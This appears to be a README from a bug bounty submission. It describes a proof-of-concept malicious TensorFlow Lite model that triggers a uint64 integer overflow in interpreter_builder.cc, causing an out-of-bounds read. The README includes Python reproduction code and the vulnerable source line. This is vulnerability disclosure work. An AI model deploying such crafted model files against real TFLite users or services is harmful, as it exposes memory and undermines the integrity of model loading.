wulonchia's picture
Add README
1e3690b verified
|
Raw
History Blame Contribute Delete
1.18 kB

TFLite Buffer.offset uint64 Integer Overflow → OOB Read PoC

Target: TensorFlow Lite (Google)
Vulnerability: interpreter_builder.cc:671 — unchecked uint64_t addition
Impact: Out-of-bounds read; confirmed OOB pointer dereference (4 bytes before mmap base)
Bounty: Huntr Model Format Vulnerability Program

Files

  • evil_buffer_offset_overflow.tflite — malicious model triggering the vulnerability
  • build_poc.py — script to rebuild the PoC

Reproduction

import tensorflow as tf, numpy as np, warnings
warnings.filterwarnings('ignore')

interp = tf.lite.Interpreter(
    model_path='evil_buffer_offset_overflow.tflite',
    experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_WITHOUT_DEFAULT_DELEGATES
)
interp.allocate_tensors()
arr = interp.tensor(1)()
ptr = arr.ctypes.data
mmap_base = (ptr - 0xFFFFFFFFFFFFFFFC) % (2**64)
print(f"OOB confirmed: tensor ptr 0x{ptr:X} is {mmap_base - ptr} bytes before mmap base 0x{mmap_base:X}")

Root Cause

tensorflow/lite/core/interpreter_builder.cc:671:

if (offset + buffer->size() > allocation_->bytes())  // ← uint64 overflow, no check